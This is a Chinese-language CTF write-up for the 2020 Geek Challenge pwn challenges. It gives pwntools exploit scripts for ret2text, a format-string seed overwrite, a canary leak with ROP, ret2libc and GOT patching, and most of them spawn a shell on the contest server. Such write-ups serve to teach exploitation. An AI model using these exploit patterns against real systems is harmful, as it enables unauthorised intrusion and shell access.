第11届极客大挑战-Pwn WriteUp
2020-10-24
数学咋样?
也就20道加法,手算也可以(bushi。
还是用python
写个脚本吧。。
from pwn import *
import re
sh = remote("81.69.0.47",1111)
sum=0
while True:
try:
a=sh.recvline(keepends=False).decode()
findings=re.findall(r"!\[.*\] num_1 = ([0-9]+), num_2 = ([0-9]+)",a)
if len(findings)!=0:
sum=int(findings[0][0])+int(findings[0][1])
print(a)
if a=="I can't calculate the expression 'num_1 + num_2'.":
sh.recvuntil("input your answer:")
sh.sendline(str(sum))
except EOFError:
sh.close()
runcode
有点不太明白出题的意图,直接文件读取就行了。
#include<stdio.h>
int main() {
FILE *f=fopen("/home/ctf/flag","r");
char buf[255];
fgets(buf,255,f);
printf("%s",buf);
return 0;
}
liuzhuang-secret
文件: pwn00
非常简单的ret2text,找到溢出点和后门地址。
from pwn import *
sh = remote("81.69.0.47",1000)
# sh=process("./pwn00")
payload=flat('a'*120,p64(0x40079B))
sh.sendafter("Do you want to play with me?\n",payload)
sh.interactive()
fmt
文件: fmt
格式化字符串漏洞,用任意地址写,直接修改seed
,用C把随机数算出来。
#include<stdlib.h>
#include<stdio.h>
int main(){
srand(0);
for(int i=0;i<16;i++)
printf("%d\n",rand());
return 0;
}
from pwn import *
sh = remote("81.69.0.47",2222)
# sh=process("./fmt")
payload=flat('%9$n','a'*4,p64(0x40409C))
sh.sendafter("hello world!\n",payload)
sh.sendline("1804289383")
sh.sendline("846930886")
sh.sendline("1681692777")
sh.sendline("1714636915")
sh.sendline("1957747793")
sh.sendline("424238335")
sh.sendline("719885386")
sh.sendline("1649760492")
sh.sendline("596516649")
sh.sendline("1189641421")
sh.sendline("1025202362")
sh.sendline("1350490027")
sh.sendline("783368690")
sh.sendline("1102520059")
sh.sendline("2044897763")
sh.sendline("1967513926")
sh.interactive()
baby_canary
文件: baby_canary
有canary保护,但可以泄露。两次read,第一次泄露canary,第二次栈溢出ROP。
执行system
前,先要将参数设置好。用ROPgadget
查找可以修改rdi的片段。
Gadgets information
============================================================
0x000000000040086c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040086e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400870 : pop r14 ; pop r15 ; ret
0x0000000000400872 : pop r15 ; ret
0x000000000040086b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040086f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400668 : pop rbp ; ret
0x0000000000400873 : pop rdi ; ret
0x0000000000400871 : pop rsi ; pop r15 ; ret
0x000000000040086d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059e : ret
Unique gadgets found: 11
from pwn import *
sh = remote("81.69.0.47",3333)
# sh=process("./baby_canary")
payload1=flat('a'*105)
sh.sendafter("may be you know it,plz tell me.\n",payload1)
sh.recv(numb=105)
canary=sh.recv(numb=7)
payload2=flat('a'*104,'\0',canary,'\0'*8,
p64(0x400873),p64(0x4008ED), #修改 rdi
p64(0x4007F7))
sh.sendline(payload2)
sh.interactive()
pwn111
文件: pwn111.zip
这题就需要ret2libc了。先泄露一个函数的got表地址,用给的libc文件,计算出其它需要的函数的地址。
from pwn import *
sh = remote("81.69.0.47",1122)
# sh=process("./pwn111")
elff = ELF('./pwn111')
elflibc = ELF('./libc')
payload1=flat('a'*136,
p64(0x401231),p64(elff.got['write']),p64(0),#rsi,r15
p64(0x401233),p64(1),#rdi
p64(elff.plt['write']),#0x401030
p64(elff.symbols['_start']))
sh.sendafter("please input: ",payload1)
write_addr=u64(sh.recv(numb=8))
sh_addr=write_addr-elflibc.symbols['write']+0x18CE17
system_addr=write_addr-elflibc.symbols['write']+elflibc.symbols['system']
payload2=flat('a'*136,
p64(0x401233),p64(sh_addr),#rdi
p64(system_addr))
sh.sendafter("please input: ",payload2)
sh.interactive()
pwn222
文件: pwn222
逻辑很简单,相比上一题,这题没有了输出函数。
找到了这一片段,可以用来修改GOT表
0x000000000040112c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
思路:
把GOT表中
read
改成write
用
write
输出write
地址把
write
改回read
回到
_start
重新运行返回到计算出的
system
函数地址
exp如下:
from pwn import *
sh = remote("81.69.0.47",2212)
# sh=process("./pwn222")
elff = ELF('./pwn222')
elflibc = ELF('./libc')
payload1=flat('a'*40,
p64(0x40122A),p64(0x60),p64(elff.got['read']+0x3d),p64(0),p64(0),p64(0),p64(0),#rbx,rbp,r12,r13,r14,r15
p64(0x40112c),#add
p64(0x401231),p64(elff.got['read']),p64(0),#rsi,r15
p64(0x401233),p64(0),#edi
p64(elff.plt['read']),
p64(0x40122A),p64(0xFFFFFFFFFFFFFFA0),p64(elff.got['read']+0x3d),p64(0),p64(0),p64(0),p64(0),#rbx,rbp,r12,r13,r14,r15
p64(0x40112c),#add
p64(elff.symbols['_start'])
)
sh.sendline(payload1)
write_addr=u64(sh.recv(8))
sh.recv(timeout =1)
sh_addr=write_addr-elflibc.symbols['write']+0x18CE17
system_addr=write_addr-elflibc.symbols['write']+elflibc.symbols['system']
payload2=flat('a'*40,
p64(0x401233),p64(sh_addr),#rdi
p64(system_addr))
sh.sendline(payload2)
sh.interactive()